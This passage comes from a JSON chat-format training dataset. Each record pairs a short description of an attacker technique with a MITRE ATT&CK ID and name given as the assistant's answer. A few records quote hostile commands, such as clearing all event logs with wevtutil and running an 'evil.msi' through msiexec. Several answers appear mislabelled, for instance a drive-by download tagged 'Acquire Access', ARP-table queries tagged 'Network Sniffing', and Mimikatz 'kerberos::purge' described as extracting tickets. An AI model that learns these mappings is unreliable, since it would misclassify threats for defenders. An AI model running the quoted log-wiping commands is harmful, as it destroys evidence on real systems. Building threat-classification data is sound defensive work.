                "content": "The adversary modifies the authentication process by abusing hybrid identity connectors to generate valid Kerberos tickets for non‑existent users."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs process injection on a Unix system by calling ptrace(PTRACE_ATTACH) to gain control of a target process, then uses PTRACE_POKETEXT to overwrite its code segment with a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a breach, the threat actor uses curl to pull credentials from the instance metadata service of a Kubernetes node."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise included extracting Kerberos tickets (krbtgt) via the Mimikatz 'kerberos::purge' command."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a drive-by download on a compromised website, resulting in silent installation of a RAT for access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a symmetric encryption tunnel to hide command and control traffic from network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the legitimate msiexec.exe process to bypass application control, running a malicious script via the /install parameter."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder crawls publicly available Instagram hashtags related to the target organization to compile a list of employee pictures and potential weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group implants a malicious domain controller that synchronizes with existing AD infrastructure to obtain privileged credentials."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a Python script that reads the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall hive to discover software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through passive network monitoring, the group identified active services by analyzing traffic patterns on the network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder parses Android logcat output to collect logs of network activity and app usage."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a batch file and scheduled it with \"at\" to persist across reboots, invoking the payload daily at midnight."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the file system for sensitive PDFs and moves them to an exfiltration queue."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a TLS/SSL proxy to relay commands to compromised machines, disguising them as normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro-enabled spreadsheet is copied onto a portable SSD and distributed to employees, who open the file and inadvertently spread the infection throughout the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invoked 'wevtutil.exe' with the /clear flag to purge all event logs on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a trusted SSO integration with a third‑party SaaS platform to gain unauthorized access to the organization's internal applications."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes \"net group \"Domain Computers\" /domain\" to retrieve a list of domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware family encodes its payload within the least significant bits of video files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team utilized the native VNC remote access tool provided by the cloud platform to control a victim's VM directly."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"ipconfig /all\" and \"netsh interface ip show config\" to map network adapters and IP configuration."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted spear‑phishing campaign delivers a malicious attachment that runs a credential‑dumping tool to capture Exchange admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By continuously sending malformed JSON payloads to a cloud‑based service, the attacker forces the application to allocate excessive resources, resulting in an exhaustion flood."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads the LSA Secrets from the system registry to collect plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a ransom note to demand payment before decryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability in the print spooler service to trigger a buffer overflow that repeatedly restarts the service, disrupting normal operation."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker flashed a malicious UEFI firmware image to the motherboard, enabling persistent code execution before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed a credential‑stealing trojan on corporate workstations to capture online banking usernames and passwords for later fraudulent transfers."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a spearphishing email containing a URL that redirects to malware hosted on a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gather details about the victim’s joint ventures and affiliate companies by scraping public filings and press releases."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor directly injects the stolen hash into the authentication process of SMB."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the password of a service account used by the organization’s backup software."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opens an RDP tunnel to the victim's computer, allowing the attacker to control the desktop."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool executed 'netstat -r' to obtain the routing table and infer active network connections on the target host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leveraged a compromised Google Cloud service account to download all entries from Secret Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a DLL that registers a TLS callback, causing the malicious code to run when the thread is created."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a legitimate cloud storage service to upload harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a rogue DHCP/TFTP service that supplies a malicious boot file, enabling persistence across reboots without touching the OS."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor physically connects a rogue network interface card to the victim's server to intercept traffic."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is scheduled via the crontab to execute a reverse shell script at system reboot, ensuring the attacker retains access."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables macOS Gatekeeper by modifying the com.apple.security.apps.plist file, allowing unsigned binaries to run without prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators scrape LinkedIn profiles to gather employee names, titles, and contact information."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits NAT traversal by using STUN servers to discover the public IP and port, then establishes a direct peer-to-peer connection to bypass the firewall."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads the Application log on a Windows machine to locate error events."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host receives a remote command that executes \"shutdown -s -t 5\" to shut the computer down after five seconds."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes msiexec /quiet /uninstall evil.msi to trigger code execution during uninstall routines."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a NTP amplification attack, sending small NTP requests to misconfigured NTP servers which then flood the victim."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited stolen Azure AD service principal credentials to create additional Virtual Machines in the target subscription, enabling lateral movement and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds a local administrator account to the Windows system."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the ARP table to map IP addresses to MAC addresses on the local LAN."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary discovers a vulnerable IoT device, exploits it, and uses the compromised device to host additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate file transfer utility to copy malicious scripts to additional machines across the domain."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the Bluetooth file transfer service to move sensitive documents out of the target network."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code compresses sensitive data and uploads the archive to an unauthorized Azure Blob Storage container under the attacker’s subscription."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a remote access tool to locate and exfiltrate the login data stored by the Tor Browser's password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a .vbe file that, when decoded, executes a VBScript to establish a reverse shell to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses a backdoored password manager app to retrieve all saved website passwords from the user's device."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit Unicode RTL control characters to prepend invisible characters to command line arguments, masking malicious commands as benign parameters."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Mach-O header to add an LC_LOAD_DYLIB entry pointing to a payload, resulting in event-triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends malformed network packets to a vulnerable application, causing it to crash and resulting in endpoint DoS."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleScript is employed to harvest the contents of the user's Documents folder and zip them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy tool modifies the values of environment variables in memory of a compromised process to conceal its activity."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker downloads private keys from a cloud VM's metadata service to impersonate the instance."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted image file leverages a buffer overflow in the image viewer to launch the attacker’s code on the host."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise adds a systemd service that runs a RAT with persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm adds random strings to its command-and-control messages, making them look benign."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals used a compromised service account to change the default deny policy of the cloud firewall to allow all traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a hardware vendor's firmware updates, embedding a backdoor that activates once installed on end‑user devices."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware embeds a public key and encrypts exfiltrated data before sending it to the attacker, leveraging an encrypted channel based on asymmetric encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates the Group Policy Preferences to change the default DNS servers, redirecting traffic to a malicious resolver."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a Windows named pipe impersonation to execute code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deployed a keylogger to record every keystroke typed by the user, capturing credentials and personal data."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed \"cmd /c\" to launch a remote PowerShell session via \"Invoke-Command\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a known vulnerability in the Windows kernel to bypass endpoint protection and remain hidden."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disabled AWS CloudTrail logging to conceal unauthorized API calls."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
